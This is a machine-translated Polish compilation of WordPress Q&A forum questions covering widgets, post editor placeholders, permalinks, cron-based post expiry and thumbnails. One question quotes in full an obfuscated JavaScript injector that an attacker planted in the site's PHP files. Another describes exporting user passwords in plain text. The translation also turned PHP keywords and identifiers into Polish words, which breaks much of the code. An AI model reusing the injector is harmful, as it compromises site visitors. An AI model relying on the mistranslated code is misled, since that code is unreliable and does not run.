text: Jeśli tak, w jaki sposób należy sformatować adres URL zapytania? Próbowałem: * `post_type=cat1&post_type=cat2` * `post_type=cat1,cat2` * `post_type=cat1+cat2` Ten raport o błędzie mówi, że możesz użyć `post_type[]=cat1&post_type[]=cat2` jeśli nie fakt, że „wszystkie parametry żądania są konwertowane na ciągi”. Czy tak jest nadal i co to oznacza?


title: Wyróżnij komentarze zarejestrowanych użytkowników serwisu

text: Jak mogę wyróżnić komentarze zgłoszone przez zarejestrowanych użytkowników mojego bloga?


title: Utwórz zmienną z instancji widżetu

text: Czy możliwe jest zwrócenie instancji widżetu do zmiennej lub tablicy? Myślę o czymś w stylu `$widget['title']`, `$widget['content']` itp. Próbowałem sprawdzić zmienną `global $wp_registered_widgets`, ale wydaje się, że zawiera ona tylko informacje istotne dla renderowanie widżetu, a nie samej treści widżetu. Jestem również w stanie pobrać wyrenderowany widżet za pomocą ob_start(); dynamic_sidebar('obszar widżetów'); $pasek boczny = ob_get_contents(); ob_end_clean(); Który, jak sądzę, mógłbym następnie przeanalizować do serii węzłów dom za pomocą metody jQuery parseHTML, jednak wydaje się to bardzo niechlujnym sposobem na to i zastanawiam się, czy ktoś mógłby zasugerować bardziej elegancki sposób?


title: Konwersja ASCII na Unicode, a następnie zapisanie danych w bazie danych za pomocą pola edytora postów WP

text: Oto domyślny edytor postów WordPress, jaki znamy: ![Domyślny edytor postów WordPress](http://i.stack.imgur.com/wP56d.png) Możesz zauważyć, że oto kilka śmieci w polu Tytuł i Opis . Są to teksty ASCII. ### PLOT W Bangla rozpowszechnione oprogramowanie o nazwie _Bijoy_ zostało zasadniczo opracowane na łataniu klawiatury ASCII. Teraz dostępne są rozwiązania oparte na Unicode, ale niektórzy ludzie dopiero używają ASCII. Tak więc musimy przekonwertować teksty oparte na ASCII na teksty oparte na Unicode w skryptach Bangla za pomocą konwerterów takich jak: * Avro Converter [Beta], * Online Unicode Converter firmy Morshed, itp. ### SCENARIUSZ Opracowaliśmy motyw WordPress dla Bangla News Portale. Po stronie klienta są proszeni o korzystanie z naszego CMS w czteroetapowym procesie: 1. Skopiuj teksty oparte na ASCII z ich edytorów tekstu (MS Word, Quark Express itp.) 2. Wklej je do dowolnego z sugerowanych konwerterów 3. Konwertuj je do Unicode 4. Skopiuj i wklej je do edytora postów, a następnie opublikuj Sprawa szła dobrze, dopóki klient nie zażądał ulepszenia do CMS: 1. Skopiuj teksty oparte na ASCII z ich edytorów tekstowych (MS Word, Quark Express itp.) 2. Wklej je do edytora postów, a następnie opublikuj Ale w międzyczasie edytor **musi przekonwertować teksty ASCII na Unicode i przechowywać teksty Unicode w bazie danych**. * * * ### CZEGO POTRZEBUJEMY To, czego potrzebujemy, to **zintegrowanie niektórych skryptów java** w _polu tekstu tytułu_ (pole tytułu posta), _textarea_ (pole opisu posta), _dowolnych niestandardowych polach_ itp., które będą wykonywać podwójne zadania w czas, w którym naciśniemy przycisk „opublikuj”, aby opublikować post: * Konwertuj teksty ASCII na Unicode, gdy otrzymamy `js` z Online Unicode Converter firmy Morshed * Wstaw przekonwertowane teksty Unicode do bazy danych, tak jak to zawsze robi. pytanie brzmi: **Jak zintegrować javascipts z elementami formularza edytora postów WordPress: polami tekstowymi, polami niestandardowymi, przyciskiem przesyłania itp.?**


title: Zmiana nazwy sekcji profilu

text: zastanawiam się, czy ktoś może pomóc, muszę zmienić nazwy sekcji na stronie profilu użytkownika (nazwisko, tytuły informacji kontaktowych) itp. Wiem, jak zmienić pola za pomocą wtyczki funkcji, ale nie mogę znaleźć nazw sekcji. Idealnie wolałbym to zrobić za pomocą wtyczki funkcji niż edytować pliki podstawowe. Dziękuję


title: Jeśli żadne dane wejściowe nie są wyświetlane?

text:
Przede wszystkim przepraszam, jeśli moje pytanie nie jest poprawnie sformułowane, jestem nowy w wordpressie i php. Mam nadzieję, że nie jestem zbyt głupi. mam to:

Lokalizacja-   <?php echo get_the_term_list($post->ID, 'Lokalizacja', '', ' ', '' ); ?>

Wskazówka prawidłowa-  <?php echo get_the_term_list( $post->ID, 'property ', '', '' '', '' ); ?>

Kamera -   <?php echo get_the_term_list( $post->ID, 'sypialnie' , '', '' '', '' ); ?>

Băi -   <?php $bath=get_post_meta($post->ID, ' wtf_bath', prawda); echo $wanna; ?>

Garaj -   <?php $garage=get_post_meta($post->ID, ' wtf_garage', prawda); echo $garaż; ?>

Pret-   <?php $price=get_post_meta($post->ID, ' wtf_price', prawda); echo $cena; ?>

Suprafata-   <?php $suprafata=get_post_meta($post->ID, ' wtf_suprafata', prawda); echo $ suprafata; ?>

 Chcę, jeśli dane wejściowe są puste Nie chcę, aby były wyświetlane w głównym div Na przykład, jeśli dane wejściowe kąpieli są puste, chcę:
Băi -   <?php $bath=get_post_meta($post->ID, 'wtf_bath', prawda); echo $wanna; ?>
 już się nie pojawia


title: Dodaj symbol zastępczy w polu treści edytora WordPress

text: Chcę dodać symbol zastępczy do pola treści edytora WordPress. Kiedy tworzysz nowy post, pole tytułu pokazuje "Wprowadź tutaj tytuł" dokładnie tak samo jak edytor. Użyłem filtra do dodania tekstu w edytorze, ale zachowanie filtra nie jest takie samo jak pole tytułu. Kiedy klikam na pole tytułu, "Wpisz tutaj tytuł" zostaje zastąpione pustym miejscem. Kod: add_filter( 'domyślna_zawartość', 'moja_zawartość_edytora' ); function my_editor_content( $content ) { $content .= '<b id="enter_desc_here" style="color: #BBBBBB;font-size: 1.7em;">Wprowadź opis tutaj</b>'; zwróć $treść; } Czy można użyć podobnego kodu, aby dodać symbol zastępczy do pola Treść edytora?


title: Użyj menu WordPress z kotwicami

text: Mam stronę archiwum CPT i chcę utworzyć menu nawigacyjne, które będzie przeskakiwać do kotwic w postaci `<a name="post-slug" http="{permalink idzie tutaj}>Tytuł CPT</a>` Udało mi się utworzyć kotwice w pliku szablonu, więc nie stanowi to problemu W przypadku samych linków u góry strony mogłem je utworzyć ręcznie lub za pomocą niestandardowych linków w systemie menu WordPress .... ale są kilka dobrych, więc wolałbym spróbować stworzyć zwykłe menu w systemie menu WordPress.Problem z tym polega na tym, że musiałbym jakoś dostosować jego wyjście, aby zmienić zwykłe linki `href = "http:// mojadomena.com/post-slug"` do czegoś bardziej jak `href = "/#post-slug"` Zastanawiam się, czy jest jakiś sposób, w jaki mogę dostosować wp_nav_menu(), aby to zrobić ... czy jest jakaś inna technika, która Mógłbym użyć NB. Dla jasności proszę zauważyć, że nie mam na myśli kotwic w edytorze ani nic wspólnego z edytorem, jest to całkowicie związane z plikami szablonów i th e System menu WordPress i w tym przypadku nie będę w ogóle korzystał z edytora.


title: Błąd podczas wstawiania wartości formularza do bazy danych

text: cześć, zdecydowałem się przechowywać kilka wartości w osobnej tabeli, więc stworzyłem ją i teraz użyłem formularza do przechowywania wartości, ale kiedy przetwarzam ten formularz, otrzymuję błąd `Próbuję uzyskać własność non-object` i `Call do funkcji składowej insert() na obiekcie niebędącym obiektem` Nawet jeśli zadeklarowałem `global $wpdb;` Oto formularz <form action="formaction.php" method="post"><input type="text" name Formacja ="name1" value=""> <input type="text" name="name2" value=""> <input type="submit" name="submit" value="add"> </form>. php if(isset($_POST['nazwa1'])) { $db_data1=$_POST['nazwa1']; } if(isset($_POST['nazwa2'])) { $db_data2=$_POST['nazwa2']; } funkcja res() { globalna $wpdb,$db_data1,$db_data2; $my_table_name=$wpdb->przedrostek."my_table"; $nazwa1=$db_data1; $nazwa2=$db_data2; $rows_affected = $wpdb->insert( $my_table_name, array( 'first' => $name1, 'last' => $name2 ) ); } res(); zgodnie z błędem $ wpdb nie jest obiektem, ale użyłem global, jaki jest błąd w tym kodzie? czy robię poprawnie?


title: Tagi szablonów vs get_template_part() vs functions.php

text: Kiedy używać znaczników szablonów, a kiedy `get_template_part()`, a kiedy `function.php`? Jestem z nimi zdezorientowany. Na przykład, jeśli chcę pokazać powiązane portfele w ramach jednego portfela, mogę utworzyć tag szablonu o nazwie `show_related_portfolios()`. W przeciwieństwie do tego, mogę utworzyć plik o nazwie `content-related-portfolios.php` i używać go jak `get_template_part( 'content', 'related-portfolios' )`. Lub mogę stworzyć funkcję, która pobiera powiązane portfele w `functions.php`. Czy są jakieś najlepsze praktyki ich używania?


title: post_status => publikowanie nie działa

text: Mam formularz frontonu, który pozwala użytkownikom przesyłać posty. W ten sposób przechowuję dane po przesłaniu posta: if ( isset( $_POST['submitted'])) { $post_information = array( 'post_title' => wp_strip_all_tags( $_POST['postTitle']), 'post_content ' => $_POST['postContent'], 'post_type' => 'post', 'post_status' => 'opublikuj' ); $new_post = wp_insert_post ($post_information ); Post nie wyświetla się na mojej stronie postów, chyba że przejdę przez mój pulpit nawigacyjny i kliknę przycisk AKTUALIZUJ. W TEN SPOSÓB ZAPYTAJ MOJE WPISY : $args = array( 'posts_per_page' => 5, 'paged' => $paged, 'meta_query' => array( array( 'key' => '_wti_like_count','value' = > 5, 'porównaj' => '<=','typ' => 'numeryczny') ) ); zapytanie_posty( $args ); Jak mogę sprawić, by moje przesłane posty były publikowane automatycznie?


title: Ustalenie, czy jest to wywołanie AJAX z front-endu, czy z back-endu

text: Rozwijam wtyczkę tylko dla administratora, która wykorzystuje w swoim interfejsie niektóre wywołania ajax. Sama strona internetowa również opiera się na wywołaniach ajax na swoim interfejsie. Chciałbym móc zidentyfikować, kiedy WP jest ładowany z powodu "prostego połączenia zaplecza", "połączenie zaplecza AJAX" lub "połączenie frontendu AJAX". Przykładem użycia, w najprostszej formie, może być załadowanie wtyczki tylko na stronach administracyjnych lub wywołania z nich ajax. Poza tym pomaga to nie zepsuć front-endu podczas tworzenia witryny na żywo :) Do tej pory znalazłem następujące: * `is_admin()` zwraca true na wszystkich wywołaniach AJAX (co jest dziwne, imho) * jak wszystkie moje Wywołania AJAX są wykonywane przez jQuery, mogę określić wywołanie AJAX przez zmienną HTTP `HTTP_X_REQUESTED_WITH` (patrz tutaj). Ale nadal nie mogę zrozumieć, jak odróżnić AJAX po stronie administratora od AJAX po stronie frontowej. Jakieś pomysły?


title: TinyMCE style_select — Dołącz klasy

text: **TL;DR Pytanie** 1. Jak utworzyć podmenu dla moich zajęć za pomocą `style_format`? 2. Czy mogę dołączyć podmenu do istniejącego menu? * * * Z nowym Styleselect w TinyMCE 4.0 jest kilka predefiniowanych menu, Headers, Inline, Block i Alignment. Czy istnieje sposób na zachowanie tych menu, ale dodanie nowego menu Klasy z podpunktami klas zdefiniowanych przez programistę? ![Rozwijane menu wyboru stylu](http://i.stack.imgur.com/82FP5.jpg) Powyższy obrazek jest właściwie tym, do czego zmierzam. Za pomocą tej funkcji filtrującej mogę dodawać klasy - **Problem** polega na tym, że usuwa ona wszystkie predefiniowane pozycje menu (nagłówki poprzez wyrównanie) i zastępuje je tylko moją klasą. function myformatTinyMCE($in) { $style_formats = array( array( 'title' => 'Kolor niebieski', 'selector' => 'p,strong,u,em,ul,ol,a', 'classes' => 'blueColor', 'wrapper' => false, ) ); $in['style_formats'] = json_encode( $style_formats ); zwróć $w; } add_filter('tiny_mce_before_init', 'myformatTinyMCE' ); Spojrzałem na dokumentację `style_formats` TinyMCE, aby spróbować powtórzyć to, co robią, ale wygląda na to, że mogą mieć predefiniowane _style_ powiązane ze słowami kluczowymi, takie jak wyrównania, więc nie jestem pewien, czy jest to możliwe. Udało mi się zreplikować podmenu, ale nie udało mi się go zastosować, ponieważ jest to klasa, a nie bezpośredni format `style=""`. function myformatTinyMCE($in) { $style_formats = array( array( 'title' => 'Klasy', 'items' => array( array( 'title' => 'Kolor niebieski', 'icon' => 'alignleft' , 'format' => 'niebieskiKolor' )) ) ); $in['style_formats'] = json_encode( $style_formats ); zwróć $w; } add_filter('tiny_mce_before_init', 'myformatTinyMCE' );


title: Dlaczego hasła można eksportować jako zwykły tekst w WordPress?

text: W mojej instalacji WordPress 3.9.2 mogę wyodrębnić hasła użytkowników w postaci zwykłego tekstu, przechodząc do Użytkownicy, zaznacz wszystkich użytkowników i wybierając opcję Bulk Actions Export. Kiedy przeglądam bazę danych mySQL za pomocą phpMyAdmin, hasła są zahaszowane. **Pytanie** Jak to możliwe, że wszystkie hasła użytkowników można wyeksportować w postaci zwykłego tekstu i jak mogę temu zapobiec? **Aktualizacja** Kiedy eksportuję jednego użytkownika lub „Eksportuj wszystkich użytkowników”, otrzymuję dane wyjściowe podobne do tego identyfikatora użytkownika, nazwy użytkownika, statusu płatności, imienia, nazwiska, adresu, kodu pocztowego, miasta, kraju, daty, płci, telefonu nr,E-mail,Firma,Hasło,TOS,Strona internetowa,AIM,Komunikator Yahoo,Jabber/Google Talk,Informacje biograficzne,Zarejestrowany,IP "31","xxx","płatny","Jasmine","Lognnes"," xxx","xxx","xxx","","xxx","kobieta","","xxx","xxx","xxx","zgadzam si","","","", "","","2012-01-26 18:13:19","xxx"


title: Umieść narzędzie do przesyłania multimediów w metaboksie

text:
Uważam, że bardzo niepotrzebne jest posiadanie przycisku „dodaj obraz”, który przenosi mnie do kolejnego ekranu, który pozwoli mi przesłać treść do mojego posta. Idealnie chciałbym mieć meta box z opcją dodawania obrazów bezpośrednio w meta box. Udało mi się uzyskać pewną funkcjonalność, kopiując źródło formularza przesyłania multimediów i wklejając go w meta polu. Wybrany przeze mnie obraz zostaje przesłany, jednak nie pokazuję żadnego paska postępu i muszę znaleźć sposób, aby wyświetlić załączone obrazy poniżej, aby uzyskać lepszy przegląd. Czy komuś udało się to zrobić? Kod: function add_image_test() { ?>     <form enctype="multipart/form-data" method="post" action="http://xxx.com/wp-admin/media-upload.php?type=image&tab=type&post_id=1622" klasa ="media-upload-form type-form validate" id="image-form"> <input type="submit" name="save" id="save" class="hidden" value="Zapisz zmiany" /> <input type="hidden" name="post_id" id="post_id"value="1622" /> <input type="hidden" id="_wpnonce" name="_wpnonce"value="2460ab002a" /><input type="ukryty" name="_wp_http_referer" value="/wp-admin/media-upload.php?post_id=1622&type=image&" />

 Wybierz pliki do przesłania

 <input id="cancel-upload" disabled="disabled" onclick="cancelUpload()" type="button" value="Anuluj przesyłanie" class="button" />

Maksymalny rozmiar przesyłanego pliku: 4 MB

 Prześlij <input type="file" name="async-upload" id="async-upload" /> <input type="submit" name="html-upload" id="html-upload" class="button" value="Upload" /> Anuluj

Maksymalna rozmiar przesyłanego pliku: 4 MB

 <input type="submit" name="save" id="save " class="button" value="Zapisz wszystkie zmiany" />
 </form>    <?php }


title: Jak atakujący piszą skrypt do moich plików php?

text: Mam bloga stworzonego w wordpressie, teraz mam problem. Atakujący zapisuje kody javascript w moich plikach. Załóżmy, że mam dziury w skryptach wtyczek, ale jak mogą pisać do plików php? oto część listy plików php, w których piszą skrypt (`index.php, wp-activate.php, wp-comments-post.php, wp-settings.php ...`) i to jest javascript piszą w <script type="text/javascript" language="javascript">kxjwm="225222 ... 2";madds=100;wljam=this;cjayr="i"+"te";geijt=116 ;fsmuj="wr"+cjayr;for(yadii in wljam){if(yadii.length==8 && yadii.charCodeAt(0)==madds && yadii.charCodeAt(7)==geijt){break;}} o="";bqcqp=0;qczew=wljam[yadii];dlhge=53;while (bqcqp<kxjwm.length){voxhw=0;for(evedn=0;evedn<8;evedn++){voxhw=voxhw< <1;if(kxjwm.charCodeAt(bqcqp+evedn)==dlhge){voxhw++;}}bqcqp=bqcqp+3;qczew[fsmuj](Ciąg.fromCharCode(voxhw));bqcqp=bqcqp+5;}</ skrypt> Jak mogę zapobiec takim atakom? Nie mam doświadczenia z wordpressem, więc każda pomoc będzie bardzo miła. Dzięki wielkie


title: Problemy z przekierowaniem na "ładne" permalinki (wordpress w podkatalogu)

text: Mam problemy z uruchomieniem ładnych linków bezpośrednich. Podczas zmiany permalinków (np. na miesiąc/nazwa), mój .htaccess (w katalogu wordpress - jest jeszcze jeden poziom wyżej) zmienia się w następujący sposób: AddType x-mapp-php5 .php AddHandler x-mapp-php5 .php # BEGIN WordPress <IfModule mod_rewrite.c> RewriteEngine On RewriteBase /wordpress/ RewriteRule ^index\.php$ - [L] RewriteCond %{REQUEST_FILENAME} !-f RewriteCond %{REQUEST_FILENAME} !-d RewriteRule . /wordpress/index.php [L] </IfModule> # KONIEC WordPressa Ale nadal otrzymuję komunikaty 404 podczas próby uzyskania dostępu do istniejącej strony. Mój blog znajduje się w podkatalogu /wordpress/, nie jestem pewien, czy to może być problem. Oba adresy URL są ustawione na `http://<moja domena>/wordpress`, gdzie znajdują się moje pliki wordpress. Jakieś pomysły, co mogę zrobić, gdzie mogę zobaczyć wyniki przepisania lub cokolwiek innego, co pomogłoby mi wyśledzić problem? Z góry dziękuję!


title: Polecany obraz zawsze renderowany z 198px wysokości?

text: Dodałem do mojego pliku **functions.php**: set_post_thumbnail_size(500, 500); Włączyłem **polecany obraz** (`support => 'thumbnail'`) w niestandardowym typie utworzonego posta (nazywanego zawartością strony). Kiedy ustawię obraz jako obraz polecany (obraz, którego używam, ma **500px** wysokości), obraz jest zawsze renderowany z 198px wysokości. **EDYTUJ:** renderuje 198px na końcowej stronie i 117px w panelu administracyjnym. To jest kod końcowego wyniku: <img class="attachment-post-thumbnail wp-post-image" width="448" height="198" title="2974999772_7085da4d34" alt="2974999772_7085da4d34" src="http: //localhost/wp-alex-chen/wp-content/uploads/2011/01/2974999772_7085da4d344-448x198.jpg To jest kod polecanego obrazu w panelu administracyjnym:  Panel edycji posta: ![tutaj wpisz opis obrazka](http://i.stack.imgur.com/Hbjb1.png) Jakieś sugestie rozwiązania tego problemu? ) **EDIT2: dodałem to do functions.php:** if ( function_exists( 'add_image_size' ) ) add_theme_support( 'post-thumbnails' );if ( function_exists( 'add_image_size' ) ) { add_image_size( 'thumb-1' , 320, 280, PRAWDA ); } Jest ustawiony na hard-crop, ale obraz jest renderowany jako 250px 280px (powinien być renderowany jako 320px x 280px).


title: Jak mogę ukryć kategorię przed współtwórcami na ekranie edycji/dodawania nowego posta?

text: Mam sytuację, w której muszę ukryć określoną kategorię i to dzieci przed użytkownikami zalogowanymi jako Contributors. Nie chcę, aby widzieli tę kategorię i jej dzieci w meta-box kategorii na ekranie dodawania nowego posta. Nie mogę znaleźć wtyczki (która działa), aby to zrobić, zastanawiając się, czy ktoś inny o niej wie, a nawet lepiej, czy istnieje funkcja, której mogę użyć, aby to zrobić?


title: Odwrotność wp_insert_post

text: Kiedy musisz programowo usunąć post, jakiej funkcji wp używasz, aby jeśli dbała również o wp_term_relations?


title: Usuwanie terminów z tabeli terminów Wordpress wp

text: jakiej funkcji wp używam, aby móc usunąć termin bez martwienia się o powiązane tabele, takie jak relacje terminów wp i taksonomia terminów wp? Również jeśli post ma związek z usuniętym terminem i jest to jedyny związek z jakimkolwiek terminem, czy wp dba o to, co konieczne i jest skojarzony z powrotem z nieskategoryzowanym? A co, jeśli nie ma też niesklasyfikowanego terminu?


title: Ustaw miniatury na stronach kategorii produktów w tym samym rozmiarze [WooCommerce]

text: Przeszukałem i nie znalazłem konkretnego wątku dotyczącego mojego pytania. Możesz zobaczyć, co się dzieje na następującej stronie: http://hubbardracinginc.com/product-category/98-02-camarofirebird/ Problem występuje na wszystkich stronach kategorii produktów. Miniatury obrazów, które są automatycznie tworzone dla produktów w WooCommerce, mają różne rozmiary. Mój klient chce, żeby były w mundurze. Na razie wszystko, o czym mogę myśleć, to ręczne tworzenie kwadratowych miniatur w programie Photoshop CC (co byłoby bardzo czasochłonne). Zakładam, że istnieje funkcja lub wtyczka, która automatycznie sprawi, że wszystkie miniatury będą miały ten sam rozmiar? Po prostu tego nie widzę...


title: Zaimportowany układ strony bloga pomieszany

text: http://uma.lohray.com/weblog/moots-part-ii/ to blog, który zaimportowałem z Bloggera. Pierwsza strona jest w porządku, ale gdy klikniesz, aby przeczytać post na blogu, na końcu posta znajdują się części widżetów paska po prawej stronie. Próbowałem różnych szablonów, ale problem nadal występuje. Wyeksportowałem bloga jako .xm i próbowałem zobaczyć dane w sekcji CDATA w poszukiwaniu złośliwych tagów, ale wydaje się to w porządku. Wszelkie nowe posty, które tworzę z wordpress, są również pomieszane na stronie bloga. Jestem na granicy rozumu, aby to naprawić :-( Prowadzę sieć z wieloma witrynami.


title: Używanie is_plugin_active w functions.php

text: Próbuję użyć `is_plugin_active` w functions.php. Muszę zawinąć moją funkcję `useragent_shortcode` w `is_plugin_active`, ponieważ po dezaktywacji Formularza Kontaktowego 7 pojawia się biały ekran. Dołączyłem `wp-admin/includes/plugin.php`, jak pokazano w innych odpowiedziach WPSE, ponieważ jest to poza administratorem, ale bez powodzenia. Funkcja shortcode nie działa, a surowy shortcode jest wysyłany na stronę. Jakieś pomysły? Czy mój kod jest zbyt skomplikowany na to, co chcę zrobić? _** Aktualizacja z 16.04.12: Poniżej znajduje się moja własna odpowiedź._** Działa to w functions.php: If (in_array( 'contact-form-7/wp-contact-form-7.php', apply_filters( 'active_plugins', get_option('active_plugins' ) ) ) ) { function useragent_shortcode($tag) { if ( ! is_array( $tag ) ) return ''; $opcje = (tablica) $tag['opcje']; foreach ( $options as $option ) { if ( preg_match( '%^name:([-0-9a-zA-Z_]+)$%', $option, $matches ) ) { $name_att = $matches[1 ]; } $userAGENT .= $_SERVER['HTTP_USER_AGENT']; } $user_agent = $userAGENT; $html = '<input type="ukryty" name="' . $name_att . '" value="'.$user_agent.'" />'; zwróć $html; } wpcf7_add_shortcode('useragent', 'useragent_shortcode', true); }


title: Jak zastąpić zwykłe połączenia jquery połączeniami CDN od Google?

text: Chciałbym zaimplementować kilka funkcji szablonu boilerplate w jednej z moich instancji WordPress. Próbuję dowiedzieć się, jak wymienić zwykłe wywołania jquery poniżej <script type='text/javascript' src='http://.../wp-includes/js/jquery/jquery.js?ver=1.4.4 '></script> <script type='text/javascript' src='http://.../wp-includes/js/jquery/ui.core.js?ver=1.8.9'></script > do tego: <!-- Chwyć jQuery Google CDN, z adresem URL zależnym od protokołu; w razie potrzeby wróć do lokalnego --> <script src="//ajax.googleapis.com/ajax/libs/jquery/1.5.1/jquery.js"></script> <script>window.jQuery || document.write("<script src='js/libs/jquery-1.5.1.min.js'>\x3C/script>")</script>


title: Zmień link „Powrót do witryny” w wp-login.php

text: Formularz logowania na stronie wp-login.php ma na dole link "Powrót do _nazwa-strony_" Ten link zawsze przekierowuje do strony głównej, którą chciałbym, aby przekierowywał do strony, z której przyszedł użytkownik. Wyobrażam sobie, że wymaga to dodania hooka do functions.php, ale nie jestem pewien, jak i nie mogłem nic znaleźć podczas wyszukiwania. Jakieś pomysły?


title: ustaw post na wersję roboczą po ustalonym okresie na podstawie daty post_modified

text: Mam niestandardowy typ posta dla strony profilu użytkownika. Mój klient chce, aby wszyscy użytkownicy aktualizowali swój profil przynajmniej raz w miesiącu. Dlatego chcemy, aby ich profil (niestandardowy post) został automatycznie ustawiony na wersję roboczą po 30 dniach. Otrzymają wówczas wiadomość e-mail z prośbą o zaktualizowanie wpisu. Post musi być ponownie ustawiony na wersję roboczą 30 dni po ostatniej modyfikacji daty i wysłaniu kolejnego przypomnienia itp. Do tej pory mam ten kod, aby wygasać posty po 30 dniach od daty opublikowania - co wydaje się nie działać . Zakładam, że brakuje mi czegoś dotyczącego harmonogramu cron: if (! wp_next_scheduled('run_post_expiration')) { wp_schedule_event(time(), 'hourly', 'run_post_expiration' ); } add_action( 'run_post_expiration', 'expire_posts' ); funkcja wygasa_posts() { global $wpdb; $daystogo = "30"; $sql = "UPDATE wp_posts SET `post_status` = 'draft' GDZIE `post_type` = 'profil' AND DATEDIFF(NOW(), `the_date`) > '$daystogo')"; $wpdb->zapytanie($sql); } add_action('init', 'expire_posts'); I mam ten kod, aby ustawić post_date na datę post_modified, dzięki czemu powyższy kod nadal działa co 30 dni: function reset_post_date_wpse_121565($data,$postarr) { $data['post_date'] = $data['post_modified' ]; $data['post_date_gmt'] = $data['post_modified_gmt']; globalny $post; if ($post->post_type == 'profile'){ return $data; } } add_filter('wp_insert_post_data','reset_post_date_wpse_121565',99,2); Powyższy kod do modyfikacji post_date faktycznie działa, ale powoduje również pewne problemy z innymi typami postów, których się nie spodziewałem - więc pomyśl, że gdzieś może być błąd. Więc moje pytanie brzmi, czy ktoś może mi pomóc, aby to zadziałało? A może wieczorem zabieram się do tego we właściwy sposób? Być może istnieje lepsze rozwiązanie. Próbowałem wtyczki post expirator, ale działa to tylko z post_date - więc gdy ktoś zaktualizował swój profil, gdy przestanie działać. Wielkie dzięki D **EDYTUJ:** Więc zmodyfikowałem oryginalny kod, aby ustawić posty do szkicowania na ten (na podstawie kodu, który znalazłem gdzie indziej): add_action( 'my_trash_hook', 'my_trash_hook_function' ); if (! wp_next_scheduled('my_trash_hook')) { wp_schedule_event( time(), 'co godzinę', 'my_trash_hook' ); } function my_trash_hook_function() { global $wpdb; $daystogo = "1"; $sql = "UPDATE {$wpdb->posts} SET 'post_status' = 'szkic' GDZIE 'post_type' = 'testy' AND DATEDIFF(NOW(), 'data_)> '$daystogo')"; $wpdb->zapytanie($sql); } Mam inną funkcję skonfigurowaną do wysyłania mi e-maila, gdy post jest ustawiony jako wersja robocza, a druga do wysyłania mi e-maila, gdy post zostanie ponownie opublikowany. Dzieje się tak, że kiedy loguję się na stronie, otrzymuję wiadomość e-mail z informacją, że post został opublikowany, ale nie z informacją, że post został ustawiony w wersji roboczej. Nie jesteś pewien, czy te dwa fragmenty kodu są ze sobą w konflikcie, czy po prostu źle! Ktoś ma pomysły?


title: Dlaczego setlocale() zwraca false na WPEngine?

text: Wygląda na to, że WPEngine nie obsługuje różnych łańcuchów locale, co czyni `setlocale()` bezużytecznymi. `setlocale(LC_ALL, "es_ES");` zwraca `false`, a zaraz potem `setlocale(LC_ALL, 0)` (jak można się spodziewać po poprzednim `false`, zwraca `"en_US"`.


title: Czy masowe usuwanie użytkowników WP, a następnie ponowne importowanie pliku CSV z tym samym identyfikatorem użytkownika, przerwie WP?

text: Dziwna sytuacja, ale budowana przeze mnie witryna Wordpress ma już 1200 użytkowników zaimportowanych przez csv i wszyscy mają powiązane z nimi posty. Teraz muszę dodać kilka dodatkowych pól do każdego użytkownika, ale jedynym sposobem, jaki znam, jest masowe usunięcie wszystkich użytkowników i ponowne przesłanie nowego pliku CSV ze wszystkimi dodatkowymi polami (i z bieżącym identyfikatorem użytkownika, aby dopasować istniejący) . Moje pytanie, jak mogę to zrobić i zachować wszystkie posty powiązane z użytkownikiem? Czy ktoś to zrobił wcześniej? Czy to całkowicie zepsuje stronę? Czy istnieje obejście, o którym nie wspomniałem tutaj?


title: Twój komentarz oczekujący na wiadomość moderacyjną czasami się nie pojawia

text: Na nowej stronie wordpress zdaję sobie sprawę, że czasami podczas testowania funkcji komentarzy do postów nie pojawia się komunikat „Twój komentarz oczekuje moderacji”. Po opublikowaniu komentarza adres URL strony podczas jej odświeżania zawiera kotwicę do opakowania div nowego komentarza. W tym div zamiast pokazywać komentarz, gdy zwykły użytkownik komentuje, zwykle pojawia się komunikat „Twój komentarz oczekuje na moderację”. Kiedy jednak pojawia się ten problem, chociaż kotwica nadal znajduje się w adresie URL strony powracającej, cały element komentarza nie znajduje się w html. Oznacza to, że punkt zakotwiczenia nie istnieje, więc gdy strona się ładuje, zamiast przeskakiwać do ostatniego punktu komentarza, pozostaje na samej górze. Niezawodne powtórzenie tego problemu było niezwykle trudne. Na początku było przeczucie, że występuje tylko w niektórych przeglądarkach. Potem, kiedy zdałem sobie sprawę, że w powracającym html z php po prostu brakowało właśnie utworzonego komentarza (lub jego opakowania i przynajmniej oczekującej wiadomości), zdałem sobie sprawę, że musi dziać się coś bardzo podstawowego. Mam przeczucie, że dzieje się tak dlatego, że moje wiadomości testowe (które często zawierają tylko kilka słów lub znaków i nie są dokładną reprezentacją prawdziwej wiadomości) zostały przechwycone przez Askimet (tak, jest zainstalowane i uruchomione) i oznaczone jako spam. Niektóre z moich testów zostały oznaczone jako spam, więc doszedłem do wniosku, że jest to prawdopodobnie powód, dla którego nie pojawiła się oczekująca wiadomość o moderacji. Jednak na pewno nie pojawił się komunikat, a komentarz testowy, który zrobiłem, został usunięty przez askimet jako OK. Więc nie jestem pewien, czy moje założenie jest całkowicie/w ogóle poprawne. Czy ktoś wie o wewnętrznych działaniach tego i może potwierdzić, dlaczego ten komunikat może się nie pojawiać?


title: Relacja postu z niestandardowymi fragmentami dla każdego powiązanego posta

text: Tworzę witrynę z rekomendacjami, na której ludzie mogą polecać inne posty i wyrażać swoją opinię (krótki tekst) na temat tego posta. Tak więc w panelu administracyjnym chcę dołączyć na ekranie „Edycja posta” opcję umożliwiającą użytkownikom: 1. wybranie x liczby postów do wyróżnienia (ich rekomendacje) 2. napisanie niestandardowego fragmentu polecanego posta (co , w tym celu próbowałem z funkcją relacji wtyczki Advanced Custom Fields (ACF).Rozwiązuje problem 1) z góry (wybierz x liczbę postów do wyróżnienia), ale nie pozwala na pisanie niestandardowego tekstu dla każdego wybranego posta. Czy ktoś ma rozwiązanie tego problemu? A może masz pomysł na alternatywne sposoby prezentowania x liczby postów w poście/na stronie z niestandardowymi, specyficznymi dla postów fragmentami? Twoja pomoc jest bardzo ceniona!


title: Niestandardowy Gravatar nie działa

